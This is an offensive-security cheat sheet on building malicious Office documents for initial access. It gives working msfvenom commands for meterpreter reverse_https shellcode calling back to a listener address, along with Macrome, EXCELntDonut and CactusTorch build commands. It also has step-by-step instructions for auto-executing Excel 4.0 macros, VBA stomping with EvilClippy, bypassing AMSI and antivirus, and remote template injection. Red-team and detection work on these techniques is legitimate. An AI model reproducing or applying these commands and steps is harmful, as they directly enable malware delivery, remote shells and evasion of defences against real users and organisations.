Summary

XLSM - Hot Manchego

When using EPPlus, the creation of the Excel document varied significantly enough that most A/V didn't catch a simple lolbas payload to get a beacon on a target machine.

Generate CS Macro and save it to Windows as vba.txt
PS> New-Item blank.xlsm
PS> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:EPPlus.dll hot-manchego.cs
PS> .\hot-manchego.exe .\blank.xlsm .\vba.txt

XLM - Macrome

XOR Obfuscation technique will NOT work with VBA macros since VBA is stored in a different stream that will not be encrypted when you password protect the document. This only works for Excel 4.0 macros.

# NOTE: The payload cannot contains NULL bytes.

# Default calc
msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
# Custom shellcode
msfvenom -p generic/custom PAYLOADFILE=payload86.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-86.bin -b '\x00'
msfvenom -p generic/custom PAYLOADFILE=payload64.bin -a x64 --platform windows -e x64/xor_dynamic -f raw -o shellcode-64.bin -b '\x00'
# MSF shellcode
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00'  -a x64 --platform windows -e x64/xor_dynamic --platform windows -f raw -o msf64.bin
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw -o msf86.bin

dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload shellcode-86.bin --payload64-bit shellcode-64.bin

# For VBA Macro
Macrome build --decoy-document decoy_document.xls --payload-type Macro --payload macro_example.txt --output-file-name xor_obfuscated_macro_doc.xls --password VelvetSweatshop

When using Macrome build mode, the --password flag may be used to encrypt the generated document using XOR Obfuscation. If the default password of VelvetSweatshop is used when building the document, all versions of Excel will automatically decrypt the document without any additional user input. This password can only be set in Excel 2003.

XLM Excel 4.0 - EXCELntDonut

  • XLM (Excel 4.0) macros pre-date VBA and can be delivered in .xls files.
  • AMSI has no visibility into XLM macros (for now)
  • Anti-virus struggles with XLM (for now)
  • XLM macros can access the Win32 API (virtualalloc, createthread, ...)
  1. Open an Excel Workbook.
  2. Right click on "Sheet 1" and click "Insert...". Select "MS Excel 4.0 Macro".
  3. Open your EXCELntDonut output file in a text editor and copy everything.
  4. Paste the EXCELntDonut output text in Column A of your XLM Macro sheet.
  5. At this point, everything is in column A. To fix that, we'll use the "Text-to-Columns"/"Convert" tool under the "Data" tab.
  6. Highlight column A and open the "Text-to-Columns" tool. Select "Delimited" and then "Semicolon" on the next screen. Select "Finished".
  7. Right-click on cell A1* and select "Run". This will execute your payload to make sure it works.
  8. To enable auto-execution, we need to rename cell A1* to "Auto_Open". You can do this by clicking into cell A1 and then clicking into the box that says "A1"* just above Column A. Change the text from "A1"* to "Auto_Open". Save the file and verify that auto-execution works.

⚠️ If you're using the obfuscate flag, after the Text-to-columns operation, your macros won't start in A1. Instead, they'll start at least 100 columns to the right. Scroll horizontally until you see the first cell of text. Let's say that cell is HJ1. If that's the case, then complete steps 6-7 substituting HJ1 for A1

git clone https://github.com/FortyNorthSecurity/EXCELntDonut

-f path to file containing your C# source code (exe or dll)
-c ClassName where method that you want to call lives (dll)
-m Method containing your executable payload (dll)
-r References needed to compile your C# code (ex: -r 'System.Management')
-o output filename
--sandbox Perform basic sandbox checks. 
--obfuscate Perform basic macro obfuscation.

DOCM - CACTUSTORCH VBA Module

CactusTorch is leveraging the DotNetToJscript technique to load a .Net compiled binary into memory and execute it from vbscript

  1. Import .cna in Cobalt Strike
  2. Generate a new VBA payload from the CACTUSTORCH menu
  3. Download DotNetToJscript
  4. Compile it
    • DotNetToJscript.exe - responsible for bootstrapping C# binaries (supplied as input) and converting them to JavaScript or VBScript
    • ExampleAssembly.dll - the C# assembly that will be given to DotNetToJscript.exe. In default project configuration, the assembly just pops a message box with the text "test"
  5. Execute DotNetToJscript.exe and supply it with the ExampleAssembly.dll, specify the output file and the output type 
    DotNetToJScript.exeExampleAssembly.dll -l vba -o test.vba -c cactusTorch
  6. Use the generated code to replace the hardcoded binary in CactusTorch

VBA Purging

VBA Stomping: This technique allows attackers to remove compressed VBA code from Office documents and still execute malicious macros without many of the VBA keywords that AV engines had come to rely on for detection. == Removes P-code.

⚠️ VBA stomping is not effective against Excel 97-2003 Workbook (.xls) format.

EvilClippy

Evil Clippy uses the OpenMCDF library to manipulate CFBF files. Evil Clippy compiles perfectly fine with the Mono C# compiler and has been tested on Linux, OSX and Windows. If you want to manipulate CFBF files manually, then FlexHEX is one of the best editors for this.

VBA - Offensive Security Template

VBA - AMSI

The Office VBA integration with AMSI is made up of three parts: (a) logging macro behavior, (b) triggering a scan on suspicious behavior, and (c) stopping a malicious macro upon detection. https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/

⚠️ It appears that p-code based attacks where the VBA code is stomped will still be picked up by the AMSI engine (e.g. files manipulated by our tool EvilClippy).

The AMSI engine only hooks into VBA, we can bypass it by using Excel 4.0 Macro

DOCX - Template Injection

⚠️ Does not require "Enable Macro"

Remote Template

  1. A malicious macro is saved in a Word template .dotm file
  2. Benign .docx file is created based on one of the default MS Word Document templates
  3. Document from step 2 is saved as .docx
  4. Document from step 3 is renamed to .zip
  5. Document from step 4 gets unzipped
  6. .\word_rels\settings.xml.rels contains a reference to the template file. That reference gets replaced with a reference to our malicious macro created in step 1. File can be hosted on a web server (http) or webdav (smb).
